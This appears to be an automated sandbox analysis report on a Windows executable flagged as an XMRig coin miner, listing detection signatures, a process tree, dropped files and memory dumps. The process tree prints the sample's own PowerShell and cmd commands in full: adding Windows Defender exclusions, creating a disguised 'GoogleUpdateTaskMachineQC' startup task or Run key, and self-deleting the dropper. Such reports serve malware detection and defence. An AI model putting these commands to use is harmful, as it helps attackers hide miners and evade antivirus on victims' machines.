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25/01/2024, 16:55

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24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

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240123-x591qagbd710

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240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1799s
  • max time network
    1798s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
  • Size 2.0MB
  • Sample240123-x6bvbafgem
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3336
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1704
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3512
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:732
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3384
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:1156
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3112
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:212
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2444
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4168
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2632
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:4500
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:776
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:2732
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:1088
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2776

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 49KB
                • SHA256 dc5c3344bc82640c27de170054f700c693a1a5a92f9118eaeb7c3219ebf04a84
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 491KB
                • SHA256 9ca072f39b4eed03b59a4bdbe75155b4be1116619ada90e32e3489ec87448f75
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 f6f4442564ab77163d4d1ffffc74c3d714102979ee9e075c5235174c6e5761db
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_sh0uyp1e.t5g.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sh0uyp1e.t5g.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/732-18-0x00007FFF10A90000-0x00007FFF11551000-memory.dmp

                memory/732-30-0x000001FFBD790000-0x000001FFBD7A0000-memory.dmp

                memory/732-31-0x000001FFBD790000-0x000001FFBD7A0000-memory.dmp

                memory/732-33-0x00007FFF10A90000-0x00007FFF11551000-memory.dmp

                memory/732-28-0x000001FFBD790000-0x000001FFBD7A0000-memory.dmp

                memory/776-125-0x00007FF6327B0000-0x00007FF6327C6000-memory.dmp

                memory/776-132-0x00007FF6327B0000-0x00007FF6327C6000-memory.dmp

                memory/1704-35-0x00007FF69D8E0000-0x00007FF69DAF1000-memory.dmp

                memory/1704-0-0x00007FF69D8E0000-0x00007FF69DAF1000-memory.dmp

                memory/2444-87-0x00007FFF10A90000-0x00007FFF11551000-memory.dmp

                memory/2444-76-0x000002359A650000-0x000002359A705000-memory.dmp

                memory/2444-84-0x00000235FE8F0000-0x00000235FE900000-memory.dmp

                memory/2444-83-0x00000235FE250000-0x00000235FE25A000-memory.dmp

                memory/2444-62-0x00007FFF10A90000-0x00007FFF11551000-memory.dmp

                memory/2444-63-0x00000235FE8F0000-0x00000235FE900000-memory.dmp

                memory/2444-73-0x000002359A630000-0x000002359A64C000-memory.dmp

                memory/2444-80-0x00000235FE750000-0x00000235FE76A000-memory.dmp

                memory/2444-77-0x00000235FE220000-0x00000235FE22A000-memory.dmp

                memory/2444-78-0x00000235FE2B0000-0x00000235FE2CC000-memory.dmp

                memory/2444-75-0x00000235FE8F0000-0x00000235FE900000-memory.dmp

                memory/2444-74-0x00007FF4AA120000-0x00007FF4AA130000-memory.dmp

                memory/2444-79-0x00000235FE230000-0x00000235FE23A000-memory.dmp

                memory/2444-81-0x000002359A850000-0x000002359A858000-memory.dmp

                memory/2444-82-0x000002359A860000-0x000002359A866000-memory.dmp

                memory/2732-175-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-126-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-173-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-155-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-177-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-169-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-167-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-165-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-179-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-163-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-161-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-159-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-157-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-123-0x00000167CA960000-0x00000167CA980000-memory.dmp

                memory/2732-122-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-181-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-183-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-124-0x00000167DAF50000-0x00000167DAF70000-memory.dmp

                memory/2732-185-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-171-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-127-0x00000167DAF70000-0x00000167DAF90000-memory.dmp

                memory/2732-128-0x00000167DAF90000-0x00000167DAFB0000-memory.dmp

                memory/2732-130-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-131-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-187-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-133-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-134-0x00000167DAF70000-0x00000167DAF90000-memory.dmp

                memory/2732-136-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-137-0x00000167DAF90000-0x00000167DAFB0000-memory.dmp

                memory/2732-139-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-141-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-143-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-145-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-147-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-149-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-151-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2732-153-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp

                memory/2776-52-0x00007FF6FAF20000-0x00007FF6FB131000-memory.dmp

                memory/2776-121-0x00007FF6FAF20000-0x00007FF6FB131000-memory.dmp

                memory/3112-51-0x00007FFF10A90000-0x00007FFF11551000-memory.dmp

                memory/3112-46-0x00007FFF10A90000-0x00007FFF11551000-memory.dmp

                memory/3112-47-0x000001D64F8A0000-0x000001D64F8B0000-memory.dmp

                memory/3112-48-0x000001D64F8A0000-0x000001D64F8B0000-memory.dmp

                memory/3512-13-0x00000229732C0000-0x00000229732D0000-memory.dmp

                memory/3512-16-0x00007FFF10A90000-0x00007FFF11551000-memory.dmp

                memory/3512-12-0x00000229732C0000-0x00000229732D0000-memory.dmp

                memory/3512-11-0x00007FFF10A90000-0x00007FFF11551000-memory.dmp

                memory/3512-6-0x0000022973290000-0x00000229732B2000-memory.dmp

                memory/4168-101-0x0000021DF7C10000-0x0000021DF7C20000-memory.dmp

                memory/4168-100-0x0000021DF7C10000-0x0000021DF7C20000-memory.dmp

                memory/4168-99-0x00007FFF10A90000-0x00007FFF11551000-memory.dmp

                memory/4168-111-0x0000021DF7C10000-0x0000021DF7C20000-memory.dmp

                memory/4168-112-0x0000021DF7C10000-0x0000021DF7C20000-memory.dmp

                memory/4168-114-0x00007FFF10A90000-0x00007FFF11551000-memory.dmp